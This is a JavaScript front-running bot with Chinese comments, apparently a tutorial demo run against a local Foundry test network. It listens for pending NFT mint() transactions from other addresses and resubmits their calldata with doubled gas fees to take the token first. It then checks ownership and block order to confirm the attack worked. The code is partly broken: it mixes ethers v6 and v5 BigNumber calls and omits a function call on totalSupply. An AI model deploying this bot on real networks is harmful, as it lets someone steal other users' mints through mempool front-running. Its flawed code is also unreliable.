frontrun.js

//1.连接到foundry本地网络
import { ethers } from "ethers";
// V6 版本 const provider = new ethers.JsonRpcProvider('http://127.0.0.1:8545')
const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545");
let network = provider.getNetwork();
network.then(res =>
  console.log(`[${new Date().toLocaleTimeString()}]链接到网络${res.chainId}`),
);

//2.构建contract实例
const contractABI = [
  "function mint() public",
  "function ownerOf(uint256) public view returns (address) ",
  "function totalSupply() view returns (uint256)",
];
const contractAddress = "0xC76A71C4492c11bbaDC841342C4Cb470b5d12193";
const contractFM = new ethers.Contract(contractAddress, contractABI, provider);

//3.创建Interface对象，用于检索mint函数。
const iface = new ethers.Interface(contractABI);
function getSignature(fn) {
  return iface.getFunction(fn).selector;
}

//4. 创建测试钱包，用于发送抢跑交易，私钥是foundry测试网提供
const privateKey =
  "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80";
const wallet = new ethers.Wallet(privateKey, provider);

//5. 构建正常mint函数，检验mint结果，显示正常。
const normaltx = async () => {
  provider.on("pending", async txHash => {
    provider.getTransaction(txHash).then(async tx => {
      if (tx.data.indexOf(getSignature("mint")) !== -1) {
        console.log(`[${new Date().toLocaleTimeString()}]监听到交易:${txHash}`);
        console.log(`铸造发起的地址是:${tx.from}`);
        await tx.wait();
        const tokenId = await contractFM.totalSupply;
        console.log(`mint的NFT编号:${tokenId}`);
        console.log(
          `编号${tokenId}NFT的持有者是${await contractFM.ownerOf(tokenId)}`,
        );
        console.log(
          `铸造发起的地址是不是对应NFT的持有者:${tx.from === (await contractFM.ownerOf(tokenId))}`,
        );
      }
    });
  });
};

//6.构建抢跑交易，检验mint结果，抢跑成功！
const frontRun = async () => {
  provider.on("pending", async txHash => {
    const tx = await provider.getTransaction(txHash);
    if (
      tx.data.indexOf(getSignature("mint")) !== -1 &&
      tx.from !== wallet.address
    ) {
      console.log(
        `[${new Date().toLocaleTimeString()}]监听到交易:${txHash}\n准备抢先交易`,
      );
      const frontRunTx = {
        to: tx.to,
        value: tx.value,
        // V6版本 maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 2n， 其他运算同理。参考https://docs.ethers.org/v6/migrating/#migrate-bigint
        maxPriorityFeePerGas: tx.maxPriorityFeePerGas.mul(2),
        maxFeePerGas: tx.maxFeePerGas.mul(2),
        gasLimit: tx.gasLimit.mul(2),
        data: tx.data,
      };
      const aimTokenId = (await contractFM.totalSupply()).add(1);
      console.log(`即将被mint的NFT编号是:${aimTokenId}`); //打印应该被mint的nft编号
      const sentFR = await wallet.sendTransaction(frontRunTx);
      console.log(`正在frontrun交易`);
      const receipt = await sentFR.wait();
      console.log(`frontrun 交易成功,交易hash是:${receipt.transactionHash}`);
      console.log(`铸造发起的地址是:${tx.from}`);
      console.log(
        `编号${aimTokenId}NFT的持有者是${await contractFM.ownerOf(aimTokenId)}`,
      ); //刚刚mint的nft持有者并不是tx.from
      console.log(
        `编号${aimTokenId.add(1)}的NFT的持有者是:${await contractFM.ownerOf(aimTokenId.add(1))}`,
      ); //tx.from被wallet.address抢跑，mint了下一个nft
      console.log(
        `铸造发起的地址是不是对应NFT的持有者:${tx.from === (await contractFM.ownerOf(aimTokenId))}`,
      ); //比对地址，tx.from被抢跑
      //检验区块内数据结果
      const block = await provider.getBlock(tx.blockNumber);
      console.log(`区块内交易数据明细:${block.transactions}`); //在区块内，后发交易排在先发交易前，抢跑成功。
    }
  });
};

// frontRun()
normaltx();